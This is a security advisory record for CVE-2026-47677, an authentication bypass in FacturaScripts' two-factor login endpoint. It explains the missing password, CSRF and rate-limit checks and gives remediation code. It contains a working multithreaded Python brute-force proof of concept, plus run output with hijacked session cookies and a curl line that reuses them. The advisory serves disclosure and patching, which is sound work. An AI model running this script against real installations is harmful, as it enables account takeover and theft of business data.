{"id":"CVE-2026-47677","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-47677","summary":"FacturaScripts: Account takeover of any 2FA-enabled user","details":"# Authentication bypass in FacturaScripts: `/login?action=two-factor-validation` accepts brute-forceable TOTP without password or CSRF protection\n\n## Summary\n\n`Core/Controller/Login.php::twoFactorValidationAction()` accepts an\nunauthenticated POST containing only `fsNick` and `fsTwoFactorCode`. If the\nTOTP value matches, the server issues a full `fsNick` + `fsLogkey` session\ncookie pair. The handler:\n\n1. **Does not verify the password** — the user is not required to have just\n   completed `loginAction`.\n2. **Does not call `validateFormToken()`** — no CSRF token is required (every\n   other action handler in the same file does call it).\n3. **Does not call `userHasManyIncidents()` before processing** — `loginAction`\n   and `changePasswordAction` both check this guard *before* doing work; the\n   2FA handler only writes to the incident list *after* a failure, and the\n   incident list is consulted by `loginAction` / `changePasswordAction` but\n   not by the 2FA handler itself. The endpoint therefore has **no\n   rate-limiting at all**.\n\nCombined with `TwoFactorManager::VERIFICATION_WINDOW = 8` (google2fa default\nis 1), 17 distinct six-digit codes are valid simultaneously and each remains\nvalid for ~4 minutes. The expected number of guesses to land a valid code is\n\n> N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ **40 800** attempts (50% success)\n\nOn a default LAMP install a single-laptop attacker sustains ~400 RPS from\none source IP — a few minutes per account.\n\nThe vulnerability gives **complete account takeover** of any 2FA-enabled\nuser to any unauthenticated network attacker who knows the target's nick.\nAdmin nicks are typically public information (`admin`, the company name,\nthe person's initials).\n\n## Severity\n\n**CVSS 4.0 base score: 9.3 — Critical**\n\nVector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N`\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. |\n| Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. |\n| Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. |\n| Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. |\n| User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. |\n| Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). |\n| Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. |\n| Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via `loginAction` for 10 minutes (`MAX_INCIDENT_COUNT = 6`, `INCIDENT_EXPIRATION_TIME = 600`). Targeted account-lockout DoS against any nick. |\n| Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. |\n\nThreat metrics:\n\n- Exploit Maturity (E): **Attacked (A)** — public PoC included below, runs out of the box.\n\n## Affected component\n\n- File: `Core/Controller/Login.php`\n- Method: `twoFactorValidationAction()` (lines 317–328 in the repository at commit `7392b489b`, master branch as of 2026-05-13).\n- Related: `Core/Lib/TwoFactorManager.php:30` (`VERIFICATION_WINDOW = 8`).\n\nVulnerable code:\n\n```php\nprotected function twoFactorValidationAction(Request $request): void\n{\n    $userName = $request->input('fsNick');\n    $user = new User();\n    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {\n        Tools::log()->warning('two-factor-code-invalid');\n        $this->saveIncident(Session::getClientIp(), $userName);\n        return;\n    }\n\n    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);\n}\n```\n\nCompare with `loginAction` in the same file, which calls\n`validateFormToken()` (line 275) and `userHasManyIncidents()` (line 287)\n*before* doing any work. The 2FA handler does neither.\n\n## Proof of concept\n\n### 1. Brute force when only the victim's nick is known\n\nThis requires **no prior\nknowledge** beyond the target's nick. Because the 2FA endpoint has no\nrate-limiting and `VERIFICATION_WINDOW=8` keeps ~17 codes valid at once,\nrandom guessing finds a valid code in seconds to minutes from a single IP.\n\n`poc_2fa_brute.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: brute-force the 2FA endpoint.\nRequired: pip install requests\n\"\"\"\nimport os, sys, time, random, threading, requests\n\nBASE      = os.environ.get(\"BASE\",      \"http://localhost:9999\")\nNICK      = os.environ.get(\"NICK\",      \"admin\")\nTHREADS   = int(os.environ.get(\"THREADS\",   \"32\"))\nMAX_TRIES = int(os.environ.get(\"MAX_TRIES\", \"200000\"))\n\nhit = threading.Event()\nattempt_count = [0]\nlock = threading.Lock()\nstart = time.time()\nresult = {}\n\ndef worker(tid: int) -> None:\n    s = requests.Session()\n    while not hit.is_set():\n        with lock:\n            n = attempt_count[0]\n            if n >= MAX_TRIES:\n                return\n            attempt_count[0] += 1\n        code = f\"{random.randint(0, 999999):06d}\"\n        try:\n            r = s.post(f\"{BASE}/login\",\n                       data={\"action\": \"two-factor-validation\",\n                             \"fsNick\":  NICK,\n                             \"fsTwoFactorCode\": code},\n                       allow_redirects=False, timeout=5)\n        except requests.RequestException:\n            continue\n        sc = r.headers.get(\"Set-Cookie\", \"\")\n        if r.status_code == 302 and \"fsLogkey\" in sc:\n            with lock:\n                if hit.is_set():\n                    return\n                hit.set()\n                result[\"code\"]    = code\n                result[\"n\"]       = n\n                result[\"cookies\"] = {c.name: c.value for c in r.cookies}\n            return\n\ndef main() -> int:\n    print(f\"[*] target={BASE}  nick={NICK}  threads={THREADS}\")\n    threads = [threading.Thread(target=worker, args=(i,), daemon=True)\n               for i in range(THREADS)]\n    for t in threads: t.start()\n    while not hit.is_set() and attempt_count[0] < MAX_TRIES:\n        time.sleep(2)\n        elapsed = time.time() - start\n        print(f\"  [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d}  \"\n              f\"rps={attempt_count[0]/max(elapsed,1):.0f}\", flush=True)\n    for t in threads: t.join()\n    elapsed = time.time() - start\n    if hit.is_set():\n        print(f\"\\n[+] FOUND code={result['code']} after {result['n']:,} \"\n              f\"attempts in {elapsed:.1f}s\")\n        cookie_hdr = \"; \".join(f\"{k}={v}\" for k, v in result[\"cookies\"].items())\n        print(f\"[+] Cookies: {cookie_hdr}\")\n        print(f\"\\n    curl --cookie '{cookie_hdr}' {BASE}/ListUser\")\n        return 0\n    print(f\"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit\")\n    return 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\nObserved result against the same install (victim user has 2FA enabled,\nattacker knows only the nick `victim`):\n\n```\n[*] target=http://localhost:9999  nick=victim  threads=32\n  [  2.2s] attempts=   1094  rps=  493\n  [ 24.4s] attempts=  11535  rps=  473\n  [ 50.0s] attempts=  23420  rps=  468\n  [100.7s] attempts=  41247  rps=  410\n  [144.9s] attempts=  55418  rps=  383\n\n[+] FOUND code=055473 after 55,773 attempts in 146.0s\n[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN\n```\n\nA second run terminated in 24.6 s after 11 569 attempts. Both runs used a\nsingle source IP with no proxy rotation, no HTTP/2, no parallel hosts.\n\n## Impact\n\nFor each 2FA-enabled user (including admins):\n\n- **Confidentiality**: full read access to anything the victim can see —\n  invoices, customer data, suppliers, accounting ledgers, attached files,\n  user PII, API keys, plugin configuration.\n- **Integrity**: full write access — create/modify/delete records, change\n  permissions, issue new API keys, upload plugins, install code (admin).\n- **Availability**: targeted account lockout DoS — generating six failed\n  2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident\n  counter past `MAX_INCIDENT_COUNT = 6`, blocking the legitimate user from\n  `loginAction` for 10 minutes. Repeatable indefinitely.\n\nThe vulnerability defeats the entire purpose of 2FA in FacturaScripts:\nenabling 2FA on an account today is strictly *weaker* than not enabling\nit, because it adds an unauthenticated, brute-forceable login path that\nwasn't present before.\n\n## Remediation\n\nFour independent fixes are required; each closes a distinct gap and any\none alone is insufficient.\n\n1. **Require evidence the user just completed the password step.** In\n   `loginAction`, after `verifyPassword` succeeds and 2FA is required,\n   write a short-lived nonce keyed by `(client_ip, user_nick)` to the\n   shared cache (e.g. `Cache::set(\"2fa-pending-{ip}-{nick}\", $nonce,\n   ttl=300)`). `twoFactorValidationAction` must read, validate, and\n   delete that nonce before calling `verifyTwoFactorCode`. Without the\n   nonce, return immediately.\n\n2. **Call `validateFormToken($request)` at the top of\n   `twoFactorValidationAction`.** Every other action handler in the\n   controller does this; the 2FA handler should too. Eliminates\n   drive-by CSRF submissions.\n\n3. **Call `userHasManyIncidents(Session::getClientIp(), $userName)`\n   before doing any work in `twoFactorValidationAction`**, and bail\n   out if the threshold is exceeded. This is the missing rate-limit\n   pre-check.\n\n4. **Reduce `TwoFactorManager::VERIFICATION_WINDOW` from 8 to 1.**\n   The google2fa default is 1 (±30 s). A window of 8 multiplies the\n   brute-force success rate by 17× for no legitimate reason — TOTP\n   apps and the server clock are typically synchronised within a\n   single 30-second step.\n\nSuggested patch (illustrative):\n\n```php\n// Core/Controller/Login.php\nprotected function twoFactorValidationAction(Request $request): void\n{\n    if (false === $this->validateFormToken($request)) {                       // fix 2\n        return;\n    }\n    $userName = $request->input('fsNick');\n    if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) {     // fix 3\n        Tools::log()->warning('ip-banned');\n        return;\n    }\n    $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;\n    if (false === Cache::get($nonceKey)) {                                    // fix 1\n        Tools::log()->warning('two-factor-no-pending-login');\n        $this->saveIncident(Session::getClientIp(), $userName);\n        return;\n    }\n    Cache::delete($nonceKey);\n\n    $user = new User();\n    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {\n        Tools::log()->warning('two-factor-code-invalid');\n        $this->saveIncident(Session::getClientIp(), $userName);\n        return;\n    }\n    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);\n}\n\n// Core/Lib/TwoFactorManager.php\nprivate const VERIFICATION_WINDOW = 1; // fix 4 — was 8\n```\n\n`loginAction` then needs the matching nonce write where it currently\nsets `$this->two_factor_user`:\n\n```php\nif ($user->two_factor_enabled) {\n    Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,\n               bin2hex(random_bytes(16)), 300);\n    $this->two_factor_user = $user->nick;\n    $this->template = 'Login/TwoFactor.html.twig';\n    return;\n}\n```\n\n## Reproduction\n\nTested on a clean install built from `master` at commit `7392b489b`:\n\n```bash\n\n# brute force (only nick known) — secret on the server can be anything\nNICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py\n```","published":"2026-07-13T23:35:48Z","modified":"2026-07-13T23:56:39.400535Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"facturascripts/facturascripts","fixedVersion":"2026.3"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-c67f-gmxw-mj93"},{"type":"PACKAGE","url":"https://github.com/NeoRazorX/facturascripts"},{"type":"WEB","url":"https://github.com/NeoRazorX/facturascripts/releases/tag/v2026.3"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-13T23:56:39.400535Z"}}